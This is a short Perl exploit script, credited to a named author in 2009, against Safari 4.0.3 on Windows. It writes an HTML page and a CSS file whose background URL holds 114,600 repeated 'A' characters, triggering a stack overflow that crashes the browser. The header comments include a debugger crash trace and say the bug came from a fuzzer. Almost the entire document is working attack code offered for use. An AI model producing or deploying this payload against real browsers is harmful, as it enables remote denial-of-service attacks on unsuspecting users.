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#!/usr/bin/perl
# ithinkthereforeiexist.pl
# AKA
# Safari 4.0.3 (Win32) CSS Remote Denial of Service Exploit
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 11.09.2009
#
# *********************************************************************************************************
# Another remotely triggerable STACK_OVERFLOW in Safari on Windows...
#
# (204.72c): Stack overflow - code c00000fd (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=000333d8 ebx=000fbd16 ecx=00000000 edx=037b3fd0 esi=037b3fd0 edi=0001bfad
# eip=00ae19af esp=00032ea8 ebp=00032f28 iopl=0 nv up ei pl nz na pe nc
# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Safari\CoreFoundation.dll -
# CoreFoundation!_CFStringEncodeByteStream+0x2d:
# 00ae19af 8365b800 and dword ptr [ebp-48h],0 ss:0023:00032ee0=00000000
#
# A product of Browser Fuzzer 3 :)
#
# "We do it in the dark, with smiles on our faces"
#
# *********************************************************************************************************
# ithinkthereforeiexist.pl
$html = "ithinkthereforeiexist.html";
$css = "ithinkthereforeiexist.css";
$size = 114600;
$htmldata = "<html>\n<head>\n<link rel=\"stylesheet\" href=\"" . $css . "\" />\n</head>\n";
$htmldata = $htmldata . "<body>\n<div id=\"die\">\n</div>\n</body>\n</html>";
$cssdata = "#die\n{\nbackground: url(" . "A" x $size . ");\n}";
open(FD, '>' . $html);
print FD $htmldata;
close(FD);
open(FD, '>' . $css);
print FD $cssdata;
close(FD);
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